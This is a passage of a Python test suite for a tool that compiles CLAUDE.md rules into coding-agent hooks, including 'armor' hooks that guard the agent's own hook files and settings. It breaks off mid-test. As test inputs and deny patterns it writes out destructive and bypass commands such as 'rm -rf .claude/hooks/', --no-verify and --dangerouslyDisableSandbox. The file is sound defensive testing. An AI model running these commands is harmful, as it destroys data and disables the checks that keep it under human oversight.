  3274. check("scoped: interfaces only in types/", d is not None and d.hook_type == 'scoped-content-guard', True)
  3275. check("scoped: path_filter is types/", d is not None and d.path_filter == ['types/'], True)
  3276. check("scoped: path_mode is only_in", d is not None and d.path_mode == 'only_in', True)
  3277. check("scoped: pattern is interface regex", d is not None and r'\binterface\s+\w+' in d.patterns[0], True)
  3278. d = classify_directive("Only define classes in models/ @enforced", 401)
  3279. check("scoped: classes only in models/", d is not None and d.hook_type == 'scoped-content-guard', True)
  3280. check("scoped: models/ path", d is not None and d.path_filter == ['models/'], True)
  3281. check("scoped: only_in mode", d is not None and d.path_mode == 'only_in', True)
  3282. d = classify_directive("Enums should only be in constants/ directory @enforced", 402)
  3283. check("scoped: enums only in constants/", d is not None and d.hook_type == 'scoped-content-guard', True)
  3284. # Classification: "never in" patterns
  3285. d = classify_directive("Never put SQL queries in controllers/ @enforced", 410)
  3286. check("scoped: no SQL in controllers/", d is not None and d.hook_type == 'scoped-content-guard', True)
  3287. check("scoped: never_in mode", d is not None and d.path_mode == 'never_in', True)
  3288. check("scoped: controllers/ path", d is not None and d.path_filter == ['controllers/'], True)
  3289. d = classify_directive("Don't use console.log in src/ @enforced", 411)
  3290. check("scoped: no console.log in src/", d is not None and d.hook_type == 'scoped-content-guard', True)
  3291. check("scoped: never_in console", d is not None and d.path_mode == 'never_in', True)
  3292. # Classification: should NOT be scoped (no path)
  3293. d = classify_directive("Never use inline styles @enforced", 420)
  3294. check("scoped: no path stays content-guard", d is not None and d.hook_type == 'content-guard', True)
  3295. # Evaluate: only_in mode - blocks interface outside types/
  3296. d = Directive(
  3297. text="Interfaces should only be defined in types/ @enforced",
  3298. hook_type='scoped-content-guard',
  3299. patterns=[r'\binterface\s+\w+'],
  3300. description="Only allow interface in types/",
  3301. line_num=1,
  3302. path_filter=['types/'],
  3303. path_mode='only_in',
  3304. )
  3305. result = _check_single(d, 'Write', {'content': 'export interface User { name: string }', 'file_path': 'src/components/User.tsx'})
  3306. check("scoped: blocks interface outside types/", result is not None and result['decision'] == 'block', True)
  3307. result = _check_single(d, 'Write', {'content': 'export interface User { name: string }', 'file_path': 'src/types/User.ts'})
  3308. check("scoped: allows interface in types/", result is None, True)
  3309. result = _check_single(d, 'Edit', {'new_string': 'interface Config {}', 'old_string': '', 'file_path': 'lib/utils.ts'})
  3310. check("scoped: blocks interface edit outside types/", result is not None and result['decision'] == 'block', True)
  3311. result = _check_single(d, 'Write', {'content': 'const x = 42;', 'file_path': 'src/index.ts'})
  3312. check("scoped: allows non-interface outside types/", result is None, True)
  3313. result = _check_single(d, 'Bash', {'command': 'echo hello'})
  3314. check("scoped: ignores Bash tool", result is None, True)
  3315. result = _check_single(d, 'Read', {'file_path': 'src/types/User.ts'})
  3316. check("scoped: ignores Read tool", result is None, True)
  3317. # Evaluate: never_in mode - blocks SQL in controllers/
  3318. d = Directive(
  3319. text="Never put SQL queries in controllers/ @enforced",
  3320. hook_type='scoped-content-guard',
  3321. patterns=[r'\b(SELECT|INSERT|UPDATE|DELETE)\b'],
  3322. description="Block SQL in controllers/",
  3323. line_num=1,
  3324. path_filter=['controllers/'],
  3325. path_mode='never_in',
  3326. )
  3327. result = _check_single(d, 'Write', {'content': 'SELECT * FROM users', 'file_path': 'app/controllers/users_controller.rb'})
  3328. check("scoped: blocks SQL in controllers/", result is not None and result['decision'] == 'block', True)
  3329. result = _check_single(d, 'Write', {'content': 'SELECT * FROM users', 'file_path': 'app/models/user.rb'})
  3330. check("scoped: allows SQL outside controllers/", result is None, True)
  3331. result = _check_single(d, 'Edit', {'new_string': 'render :index', 'old_string': '', 'file_path': 'app/controllers/home_controller.rb'})
  3332. check("scoped: allows non-SQL in controllers/", result is None, True)
  3333. # Hook generation: scoped-content-guard produces valid script
  3334. d = Directive(
  3335. text="Interfaces only in types/ @enforced",
  3336. hook_type='scoped-content-guard',
  3337. patterns=[r'\binterface\s+\w+'],
  3338. description="Only allow interface in types/",
  3339. line_num=1,
  3340. path_filter=['types/'],
  3341. path_mode='only_in',
  3342. )
  3343. hook = generate_hook(d)
  3344. check("scoped: hook generated", hook is not None, True)
  3345. check("scoped: hook has jq file_path", 'file_path' in hook, True)
  3346. check("scoped: hook has path check", 'types/' in hook, True)
  3347. check("scoped: hook has content grep", 'grep' in hook, True)
  3348. check("scoped: hook has Edit case", 'Edit' in hook, True)
  3349. check("scoped: hook checks Write", 'Write' in hook, True)
  3350. # Hook generation: never_in mode
  3351. d_never = Directive(
  3352. text="No SQL in controllers/ @enforced",
  3353. hook_type='scoped-content-guard',
  3354. patterns=[r'\b(SELECT|INSERT|UPDATE|DELETE)\b'],
  3355. description="Block SQL in controllers/",
  3356. line_num=1,
  3357. path_filter=['controllers/'],
  3358. path_mode='never_in',
  3359. )
  3360. hook_never = generate_hook(d_never)
  3361. check("scoped: never_in hook generated", hook_never is not None, True)
  3362. check("scoped: never_in has != check", '!=' in hook_never, True)
  3363. # to_dict includes path fields
  3364. dd = d.to_dict()
  3365. check("scoped: to_dict has path_filter", dd.get('path_filter') == ['types/'], True)
  3366. check("scoped: to_dict has path_mode", dd.get('path_mode') == 'only_in', True)
  3367. # Regular directive to_dict omits path fields
  3368. d_plain = Directive(text="No console.log", hook_type='content-guard', patterns=['console.log'], description="test")
  3369. dd_plain = d_plain.to_dict()
  3370. check("plain: to_dict no path_filter", 'path_filter' not in dd_plain, True)
  3371. # Test --flag pattern extraction in bash-guard
  3372. d = classify_directive("Never use --no-verify when committing @enforced", 1)
  3373. check("flag: --no-verify detected", d is not None, True)
  3374. check("flag: --no-verify type", d.hook_type, 'bash-guard')
  3375. check("flag: --no-verify in patterns", '--no-verify' in d.patterns, True)
  3376. d = classify_directive("Don't run --no-gpg-sign @enforced", 1)
  3377. check("flag: --no-gpg-sign detected", d is not None, True)
  3378. check("flag: --no-gpg-sign in patterns", '--no-gpg-sign' in d.patterns, True)
  3379. d = classify_directive("Never use --dangerouslyDisableSandbox @enforced", 1)
  3380. check("flag: --dangerouslyDisableSandbox detected", d is not None, True)
  3381. check("flag: --dangerouslyDisableSandbox in patterns", '--dangerouslyDisableSandbox' in d.patterns, True)
  3382. # Test flag evaluation blocks matching Bash commands
  3383. flag_dir = Directive("Never use --no-verify @enforced", 'bash-guard',
  3384. ['--no-verify'], "Block: --no-verify", 1)
  3385. result = _check_single(flag_dir, 'Bash', {'command': 'git commit --no-verify -m "test"'})
  3386. check("flag eval: --no-verify blocked", result is not None and result['decision'] == 'block', True)
  3387. result = _check_single(flag_dir, 'Bash', {'command': 'git commit -m "normal commit"'})
  3388. check("flag eval: normal commit allowed", result, None)
  3389. # Test --skip-hooks flag
  3390. d = classify_directive("Never use --skip-hooks @enforced", 1)
  3391. check("flag: --skip-hooks detected", d is not None, True)
  3392. check("flag: --skip-hooks in patterns", '--skip-hooks' in d.patterns, True)
  3393. # Test backtick-quoted flags still work
  3394. d = classify_directive("Never run `--no-verify` @enforced", 1)
  3395. check("flag: backtick --no-verify detected", d is not None, True)
  3396. check("flag: backtick --no-verify in patterns", '--no-verify' in d.patterns, True)
  3397. # --- Audit tests ---
  3398. # Test audit with no hooks installed
  3399. with tempfile.TemporaryDirectory() as tmpdir:
  3400. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3401. claude_md.write_text('## Rules @enforced\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3402. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3403. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3404. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3405. check("audit: no hooks -> unenforced", len(result['unenforced']), 2)
  3406. check("audit: no hooks -> enforced is 0", len(result['enforced']), 0)
  3407. check("audit: no hooks -> plugin_mode false", result['plugin_mode'], False)
  3408. # Test audit with plugin mode installed
  3409. with tempfile.TemporaryDirectory() as tmpdir:
  3410. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3411. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3412. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3413. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3414. os.makedirs(hooks_d, exist_ok=True)
  3415. # Create plugin files
  3416. Path(hooks_d, 'enforce-pretooluse.sh').write_text('#!/bin/bash\n')
  3417. Path(hooks_d, 'enforce-hooks.py').write_text('# engine\n')
  3418. # Create settings with registration
  3419. Path(settings_f).write_text(json.dumps({
  3420. 'hooks': {'PreToolUse': [{'matcher': '', 'hooks': [
  3421. {'type': 'command', 'command': os.path.join(hooks_d, 'enforce-pretooluse.sh')}
  3422. ]}]}
  3423. }))
  3424. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3425. check("audit: plugin -> enforced count", len(result['enforced']), 2)
  3426. check("audit: plugin -> unenforced is 0", len(result['unenforced']), 0)
  3427. check("audit: plugin -> plugin_mode true", result['plugin_mode'], True)
  3428. check("audit: plugin -> registered", result['plugin_registered'], True)
  3429. # Test audit with suggestions (rules not tagged @enforced)
  3430. with tempfile.TemporaryDirectory() as tmpdir:
  3431. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3432. claude_md.write_text('## Rules\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3433. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3434. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3435. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3436. check("audit: untagged -> enforced is 0", len(result['enforced']), 0)
  3437. check("audit: untagged -> suggestions > 0", len(result['suggestions']) >= 1, True)
  3438. # Test audit with broken references
  3439. with tempfile.TemporaryDirectory() as tmpdir:
  3440. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3441. claude_md.write_text('## Rules @enforced\n- Never modify .env files\n')
  3442. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3443. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3444. os.makedirs(os.path.dirname(settings_f), exist_ok=True)
  3445. Path(settings_f).write_text(json.dumps({
  3446. 'hooks': {'PreToolUse': [{'matcher': '', 'hooks': [
  3447. {'type': 'command', 'command': '/nonexistent/hook.sh'}
  3448. ]}]}
  3449. }))
  3450. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3451. check("audit: broken ref detected", len(result['broken_refs']), 1)
  3452. check("audit: broken ref path", result['broken_refs'][0], '/nonexistent/hook.sh')
  3453. # Test format_audit_report produces output
  3454. with tempfile.TemporaryDirectory() as tmpdir:
  3455. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3456. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n')
  3457. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3458. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3459. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3460. report = format_audit_report(result)
  3461. check("audit report: contains NOT INSTALLED", 'NOT INSTALLED' in report, True)
  3462. check("audit report: contains Coverage", 'Coverage:' in report, True)
  3463. # Test audit JSON output
  3464. with tempfile.TemporaryDirectory() as tmpdir:
  3465. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3466. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3467. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3468. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3469. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3470. # Simulate JSON output
  3471. json_result = {
  3472. 'enforced': [d.to_dict() for d in result['enforced']],
  3473. 'unenforced': [d.to_dict() for d in result['unenforced']],
  3474. 'coverage': len(result['enforced']) / max(1, len(result['enforced']) + len(result['unenforced']) + len(result['suggestions'])),
  3475. }
  3476. parsed = json.loads(json.dumps(json_result))
  3477. check("audit json: valid", 'coverage' in parsed, True)
  3478. check("audit json: coverage 0", parsed['coverage'], 0)
  3479. # Test --strict mode: fails when unenforced rules exist
  3480. with tempfile.TemporaryDirectory() as tmpdir:
  3481. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3482. claude_md.write_text('## Rules @enforced\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3483. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3484. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3485. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3486. has_unenforced = len(result['unenforced']) > 0
  3487. has_broken = len(result['broken_refs']) > 0
  3488. should_fail = has_unenforced or has_broken
  3489. check("strict: unenforced rules -> should fail", should_fail, True)
  3490. # Test --strict mode: passes when all rules enforced (plugin mode)
  3491. with tempfile.TemporaryDirectory() as tmpdir:
  3492. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3493. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n- Do not run `rm -rf`\n')
  3494. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3495. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3496. os.makedirs(hooks_d, exist_ok=True)
  3497. Path(hooks_d, 'enforce-pretooluse.sh').write_text('#!/bin/bash\n')
  3498. Path(hooks_d, 'enforce-hooks.py').write_text('# engine\n')
  3499. Path(settings_f).write_text(json.dumps({
  3500. 'hooks': {'PreToolUse': [{'matcher': '', 'hooks': [
  3501. {'type': 'command', 'command': os.path.join(hooks_d, 'enforce-pretooluse.sh')}
  3502. ]}]}
  3503. }))
  3504. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3505. has_unenforced = len(result['unenforced']) > 0
  3506. has_broken = len(result['broken_refs']) > 0
  3507. should_fail = has_unenforced or has_broken
  3508. check("strict: plugin mode all enforced -> should pass", should_fail, False)
  3509. # Test --strict mode: fails on broken refs
  3510. with tempfile.TemporaryDirectory() as tmpdir:
  3511. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3512. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n')
  3513. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3514. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3515. os.makedirs(hooks_d, exist_ok=True)
  3516. Path(hooks_d, 'enforce-pretooluse.sh').write_text('#!/bin/bash\n')
  3517. Path(hooks_d, 'enforce-hooks.py').write_text('# engine\n')
  3518. Path(settings_f).write_text(json.dumps({
  3519. 'hooks': {'PreToolUse': [{'matcher': '', 'hooks': [
  3520. {'type': 'command', 'command': os.path.join(hooks_d, 'enforce-pretooluse.sh')},
  3521. {'type': 'command', 'command': '/nonexistent/old-hook.sh'}
  3522. ]}]}
  3523. }))
  3524. result = audit_hooks(str(claude_md), hooks_d, settings_f)
  3525. has_broken = len(result['broken_refs']) > 0
  3526. check("strict: broken refs -> should fail", has_broken, True)
  3527. # Test --strict CLI: exit code 1 on unenforced rules
  3528. with tempfile.TemporaryDirectory() as tmpdir:
  3529. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3530. claude_md.write_text('## Rules @enforced\n- Never modify .env files\n')
  3531. proc = subprocess.run(
  3532. [sys.executable, __file__, str(claude_md), '--audit', '--strict',
  3533. '--hooks-dir', os.path.join(tmpdir, '.claude', 'hooks'),
  3534. '--settings', os.path.join(tmpdir, '.claude', 'settings.json')],
  3535. capture_output=True, text=True
  3536. )
  3537. check("strict cli: exit 1 on unenforced", proc.returncode, 1)
  3538. check("strict cli: FAIL in output", 'FAIL' in proc.stdout, True)
  3539. # Test --strict CLI: exit code 0 when all enforced
  3540. with tempfile.TemporaryDirectory() as tmpdir:
  3541. claude_md = Path(tmpdir) / 'CLAUDE.md'
  3542. claude_md.write_text('## Safety @enforced\n- Never modify .env files\n')
  3543. hooks_d = os.path.join(tmpdir, '.claude', 'hooks')
  3544. settings_f = os.path.join(tmpdir, '.claude', 'settings.json')
  3545. os.makedirs(hooks_d, exist_ok=True)
  3546. Path(hooks_d, 'enforce-pretooluse.sh').write_text('#!/bin/bash\n')
  3547. Path(hooks_d, 'enforce-hooks.py').write_text('# engine\n')
  3548. Path(settings_f).write_text(json.dumps({
  3549. 'hooks': {'PreToolUse': [{'matcher': '', 'hooks': [
  3550. {'type': 'command', 'command': os.path.join(hooks_d, 'enforce-pretooluse.sh')}
  3551. ]}]}
  3552. }))
  3553. proc = subprocess.run(
  3554. [sys.executable, __file__, str(claude_md), '--audit', '--strict',
  3555. '--hooks-dir', hooks_d, '--settings', settings_f],
  3556. capture_output=True, text=True
  3557. )
  3558. check("strict cli: exit 0 when all enforced", proc.returncode, 0)
  3559. check("strict cli: PASS in output", 'PASS' in proc.stdout, True)
  3560. # Test evaluate mode gracefully allows when CLAUDE.md is missing
  3561. result = subprocess.run(
  3562. [sys.executable, __file__, '--evaluate', '/nonexistent/CLAUDE.md'],
  3563. input='{"tool_name":"Bash","tool_input":{"command":"ls"}}',
  3564. capture_output=True, text=True
  3565. )
  3566. check("evaluate missing CLAUDE.md: exits 0", result.returncode, 0)
  3567. try:
  3568. decision = json.loads(result.stdout.strip())
  3569. check("evaluate missing CLAUDE.md: allows", decision.get('decision'), 'allow')
  3570. except (json.JSONDecodeError, AttributeError):
  3571. check("evaluate missing CLAUDE.md: valid JSON", False, True)
  3572. # --- Warn mode tests ---
  3573. # 1. Parse @enforced(warn) syntax
  3574. d = classify_directive("Never modify .env files @enforced(warn)", 1)
  3575. check("warn: @enforced(warn) parsed", d is not None, True)
  3576. if d:
  3577. check("warn: severity is warn", d.severity, 'warn')
  3578. check("warn: hook_type is file-guard", d.hook_type, 'file-guard')
  3579. # 2. Parse @enforced(block) explicit syntax
  3580. d = classify_directive("Never modify .env files @enforced(block)", 1)
  3581. check("warn: @enforced(block) parsed", d is not None, True)
  3582. if d:
  3583. check("warn: explicit block severity", d.severity, 'block')
  3584. # 3. Plain @enforced defaults to block
  3585. d = classify_directive("Never modify .env files @enforced", 1)
  3586. check("warn: @enforced defaults to block", d is not None and d.severity == 'block', True)
  3587. # 4. Warn mode generates stderr output (no block JSON)
  3588. d = Directive(
  3589. text="Never modify .env files @enforced(warn)",
  3590. hook_type='file-guard',
  3591. patterns=['.env'],
  3592. description="Protect .env",
  3593. line_num=1,
  3594. severity='warn',
  3595. )
  3596. script = generate_hook(d)
  3597. check("warn: hook script generated", script is not None, True)
  3598. if script:
  3599. check("warn: no block JSON in script", '"permissionDecision": "deny"' not in script
  3600. and '"decision\\": \\"block\\"' not in script, True)
  3601. check("warn: has stderr redirect", '>&2' in script, True)
  3602. check("warn: has WARN prefix", 'WARN' in script, True)
  3603. # 5. Block mode still generates block JSON
  3604. d_block = Directive(
  3605. text="Never modify .env files @enforced",
  3606. hook_type='file-guard',
  3607. patterns=['.env'],
  3608. description="Protect .env",
  3609. line_num=1,
  3610. severity='block',
  3611. )
  3612. script_block = generate_hook(d_block)
  3613. check("block: has block decision", 'deny' in script_block and 'permissionDecision' in script_block, True)
  3614. # 6. Warn mode in bash-guard
  3615. d = Directive(
  3616. text="Don't run rm -rf @enforced(warn)",
  3617. hook_type='bash-guard',
  3618. patterns=['rm -rf'],
  3619. description="Block rm -rf",
  3620. line_num=1,
  3621. severity='warn',
  3622. )
  3623. script = generate_hook(d)
  3624. check("warn bash-guard: no block JSON", '"permissionDecision": "deny"' not in script, True)
  3625. check("warn bash-guard: has stderr", '>&2' in script, True)
  3626. # 7. Warn mode in branch-guard
  3627. d = Directive(
  3628. text="Never commit to main @enforced(warn)",
  3629. hook_type='branch-guard',
  3630. patterns=['main'],
  3631. description="Protect main",
  3632. line_num=1,
  3633. severity='warn',
  3634. )
  3635. script = generate_hook(d)
  3636. check("warn branch-guard: no block JSON", '"permissionDecision": "deny"' not in script, True)
  3637. check("warn branch-guard: has stderr", '>&2' in script, True)
  3638. # 8. Warn mode in tool-block
  3639. d = Directive(
  3640. text="Don't use WebSearch @enforced(warn)",
  3641. hook_type='tool-block',
  3642. patterns=['WebSearch'],
  3643. description="Block WebSearch",
  3644. line_num=1,
  3645. severity='warn',
  3646. )
  3647. script = generate_hook(d)
  3648. check("warn tool-block: no block JSON", '"permissionDecision": "deny"' not in script, True)
  3649. check("warn tool-block: has stderr", '>&2' in script, True)
  3650. # 9. Warn mode in content-guard
  3651. d = Directive(
  3652. text="Never use inline styles @enforced(warn)",
  3653. hook_type='content-guard',
  3654. patterns=[r'style\s*=\s*"'],
  3655. description="Block inline styles",
  3656. line_num=1,
  3657. severity='warn',
  3658. )
  3659. script = generate_hook(d)
  3660. check("warn content-guard: no block JSON", '"permissionDecision": "deny"' not in script, True)
  3661. check("warn content-guard: has stderr", '>&2' in script, True)
  3662. # 10. Evaluate mode: warn returns allow, not block
  3663. warn_directives = [
  3664. Directive(
  3665. text="Never modify .env files @enforced(warn)",
  3666. hook_type='file-guard',
  3667. patterns=['.env'],
  3668. description="Protect .env",
  3669. line_num=1,
  3670. severity='warn',
  3671. ),
  3672. ]
  3673. result = evaluate_tool_call(warn_directives, 'Write', {'file_path': '.env'})
  3674. check("warn evaluate: allows (not blocks)", result['decision'], 'allow')
  3675. # 11. Evaluate mode: block still blocks
  3676. block_directives = [
  3677. Directive(
  3678. text="Never modify .env files @enforced",
  3679. hook_type='file-guard',
  3680. patterns=['.env'],
  3681. description="Protect .env",
  3682. line_num=1,
  3683. severity='block',
  3684. ),
  3685. ]
  3686. result = evaluate_tool_call(block_directives, 'Write', {'file_path': '.env'})
  3687. check("block evaluate: blocks", result['decision'], 'block')
  3688. # 12. Section-level @enforced(warn) propagation
  3689. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3690. f.write("## Guidelines @enforced(warn)\n- Never modify .env files\n- Don't run sudo\n")
  3691. f.flush()
  3692. enforceable, _ = scan_file(f.name)
  3693. check("section warn: found directives", len(enforceable) >= 2, True)
  3694. for d_item in enforceable:
  3695. check(f"section warn: severity={d_item.severity}", d_item.severity, 'warn')
  3696. os.unlink(f.name)
  3697. # 13. Inline @enforced(warn) overrides section @enforced
  3698. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3699. f.write("## Rules @enforced\n- Never modify .env files @enforced(warn)\n- Don't run sudo\n")
  3700. f.flush()
  3701. enforceable, _ = scan_file(f.name)
  3702. check("inline override: found directives", len(enforceable) >= 2, True)
  3703. # First rule has inline warn, second inherits section block
  3704. env_rule = [d_item for d_item in enforceable if '.env' in d_item.description]
  3705. sudo_rule = [d_item for d_item in enforceable if 'sudo' in d_item.description]
  3706. if env_rule:
  3707. check("inline override: .env is warn", env_rule[0].severity, 'warn')
  3708. if sudo_rule:
  3709. check("inline override: sudo is block", sudo_rule[0].severity, 'block')
  3710. os.unlink(f.name)
  3711. # 14. to_dict includes severity
  3712. d = classify_directive("Never modify .env @enforced(warn)", 1)
  3713. if d:
  3714. dd = d.to_dict()
  3715. check("to_dict: severity in dict", dd.get('severity'), 'warn')
  3716. # 15. Directive round-trip through cache
  3717. d = Directive(text="test @enforced(warn)", hook_type='file-guard',
  3718. patterns=['.env'], description="test", severity='warn')
  3719. dd = d.to_dict()
  3720. d2 = Directive(**dd)
  3721. check("cache round-trip: severity preserved", d2.severity, 'warn')
  3722. # 16. Audit shows severity
  3723. with tempfile.TemporaryDirectory() as td:
  3724. claude_md = Path(td) / 'CLAUDE.md'
  3725. hooks_dir = Path(td) / '.claude' / 'hooks'
  3726. settings_path = Path(td) / '.claude' / 'settings.json'
  3727. claude_md.write_text('## Rules @enforced(warn)\n- Never modify .env files\n')
  3728. audit = audit_hooks(str(claude_md), str(hooks_dir), str(settings_path))
  3729. # Should be unenforced (no hooks installed) with warn severity
  3730. if audit['unenforced']:
  3731. check("audit: warn severity shown", audit['unenforced'][0].severity, 'warn')
  3732. report = format_audit_report(audit)
  3733. check("audit report: [warn] tag present", '[warn]' in report, True)
  3734. # 17. Warn scoped-content-guard
  3735. d = Directive(
  3736. text="Interfaces only in types/ @enforced(warn)",
  3737. hook_type='scoped-content-guard',
  3738. patterns=[r'\binterface\b'],
  3739. description="Only interfaces in types/",
  3740. line_num=1,
  3741. path_filter=['types/'],
  3742. path_mode='only_in',
  3743. severity='warn',
  3744. )
  3745. script = generate_hook(d)
  3746. check("warn scoped-content: no block JSON", '"permissionDecision": "deny"' not in script, True)
  3747. check("warn scoped-content: has stderr", '>&2' in script, True)
  3748. # 18. Armor: hook self-protection
  3749. print("\n --- Armor (self-protection) ---")
  3750. # 18a. Armor templates are valid bash
  3751. check("armor file-guard: is bash script", ARMOR_FILE_GUARD.startswith('#!/usr/bin/env bash'), True)
  3752. check("armor bash-guard: is bash script", ARMOR_BASH_GUARD.startswith('#!/usr/bin/env bash'), True)
  3753. check("armor file-guard: blocks Write", 'Write|Edit|MultiEdit' in ARMOR_FILE_GUARD, True)
  3754. check("armor bash-guard: blocks rm", '*rm*' in ARMOR_BASH_GUARD, True)
  3755. check("armor file-guard: references hooks dir", '.claude/hooks/' in ARMOR_FILE_GUARD, True)
  3756. check("armor bash-guard: references hooks dir", '.claude/hooks' in ARMOR_BASH_GUARD, True)
  3757. check("armor file-guard: references settings", '.claude/settings.json' in ARMOR_FILE_GUARD, True)
  3758. check("armor bash-guard: references settings", '.claude/settings.json' in ARMOR_BASH_GUARD, True)
  3759. check("armor file-guard: outputs block JSON", '"permissionDecision": "deny"' in ARMOR_FILE_GUARD, True)
  3760. check("armor bash-guard: outputs block JSON", '"permissionDecision": "deny"' in ARMOR_BASH_GUARD, True)
  3761. # 18b. Armor install creates files and updates settings
  3762. with tempfile.TemporaryDirectory() as tmpdir:
  3763. hooks_dir = os.path.join(tmpdir, '.claude', 'hooks')
  3764. settings_path = os.path.join(tmpdir, '.claude', 'settings.json')
  3765. written = install_armor(hooks_dir, settings_path)
  3766. check("armor install: writes 2 files", len(written), 2)
  3767. check("armor install: file-guard exists", os.path.exists(os.path.join(hooks_dir, 'armor_file_guard.sh')), True)
  3768. check("armor install: bash-guard exists", os.path.exists(os.path.join(hooks_dir, 'armor_bash_guard.sh')), True)
  3769. # Check executable bit
  3770. fg_stat = os.stat(os.path.join(hooks_dir, 'armor_file_guard.sh'))
  3771. bg_stat = os.stat(os.path.join(hooks_dir, 'armor_bash_guard.sh'))
  3772. check("armor install: file-guard is executable", bool(fg_stat.st_mode & 0o111), True)
  3773. check("armor install: bash-guard is executable", bool(bg_stat.st_mode & 0o111), True)
  3774. # Check settings.json was created and has hooks registered
  3775. check("armor install: settings.json created", os.path.exists(settings_path), True)
  3776. settings = json.loads(Path(settings_path).read_text())
  3777. hooks_list = settings.get('hooks', {}).get('PreToolUse', [])
  3778. check("armor install: PreToolUse entry exists", len(hooks_list) > 0, True)
  3779. if hooks_list:
  3780. commands = [h.get('command', '') for h in hooks_list[0].get('hooks', [])]
  3781. check("armor install: file-guard registered", any('armor_file_guard' in c for c in commands), True)
  3782. check("armor install: bash-guard registered", any('armor_bash_guard' in c for c in commands), True)
  3783. # 18c. Idempotent: running again doesn't duplicate entries
  3784. written2 = install_armor(hooks_dir, settings_path)
  3785. settings2 = json.loads(Path(settings_path).read_text())
  3786. hooks_list2 = settings2.get('hooks', {}).get('PreToolUse', [])
  3787. commands2 = [h.get('command', '') for h in hooks_list2[0].get('hooks', [])]
  3788. check("armor install: idempotent (no duplicates)", len(commands2), len(commands))
  3789. # 18d. Armor hooks block the right tool calls (functional tests via subprocess)
  3790. with tempfile.TemporaryDirectory() as tmpdir:
  3791. hooks_dir = os.path.join(tmpdir, '.claude', 'hooks')
  3792. settings_path = os.path.join(tmpdir, '.claude', 'settings.json')
  3793. install_armor(hooks_dir, settings_path)
  3794. def run_hook(hook_file, tool_input_json):
  3795. """Run a hook script with tool input and return stdout."""
  3796. hook_path = os.path.join(hooks_dir, hook_file)
  3797. try:
  3798. result = subprocess.run(
  3799. ['bash', hook_path],
  3800. input=tool_input_json,
  3801. capture_output=True, text=True, timeout=5
  3802. )
  3803. return result.stdout.strip()
  3804. except Exception:
  3805. return ''
  3806. # File guard: blocks Write to .claude/hooks/somefile.sh
  3807. out = run_hook('armor_file_guard.sh', json.dumps({
  3808. 'tool_name': 'Write',
  3809. 'tool_input': {'file_path': '/project/.claude/hooks/my-hook.sh'}
  3810. }))
  3811. check("armor file-guard: blocks Write to hooks/", '"deny"' in out, True)
  3812. # File guard: blocks Edit to .claude/settings.json
  3813. out = run_hook('armor_file_guard.sh', json.dumps({
  3814. 'tool_name': 'Edit',
  3815. 'tool_input': {'file_path': '/project/.claude/settings.json'}
  3816. }))
  3817. check("armor file-guard: blocks Edit to settings.json", '"deny"' in out, True)
  3818. # File guard: allows Write to other files
  3819. out = run_hook('armor_file_guard.sh', json.dumps({
  3820. 'tool_name': 'Write',
  3821. 'tool_input': {'file_path': '/project/src/main.py'}
  3822. }))
  3823. check("armor file-guard: allows Write to other files", out, '')
  3824. # File guard: allows non-Write tools
  3825. out = run_hook('armor_file_guard.sh', json.dumps({
  3826. 'tool_name': 'Read',
  3827. 'tool_input': {'file_path': '/project/.claude/hooks/my-hook.sh'}
  3828. }))
  3829. check("armor file-guard: allows Read on hooks/", out, '')
  3830. # Bash guard: blocks rm targeting hooks
  3831. out = run_hook('armor_bash_guard.sh', json.dumps({
  3832. 'tool_name': 'Bash',
  3833. 'tool_input': {'command': 'rm .claude/hooks/my-hook.sh'}
  3834. }))
  3835. check("armor bash-guard: blocks rm on hooks/", '"deny"' in out, True)
  3836. # Bash guard: blocks rm -rf targeting hooks
  3837. out = run_hook('armor_bash_guard.sh', json.dumps({
  3838. 'tool_name': 'Bash',
  3839. 'tool_input': {'command': 'rm -rf .claude/hooks/'}
  3840. }))
  3841. check("armor bash-guard: blocks rm -rf on hooks/", '"deny"' in out, True)
  3842. # Bash guard: blocks mv targeting hooks
  3843. out = run_hook('armor_bash_guard.sh', json.dumps({
  3844. 'tool_name': 'Bash',
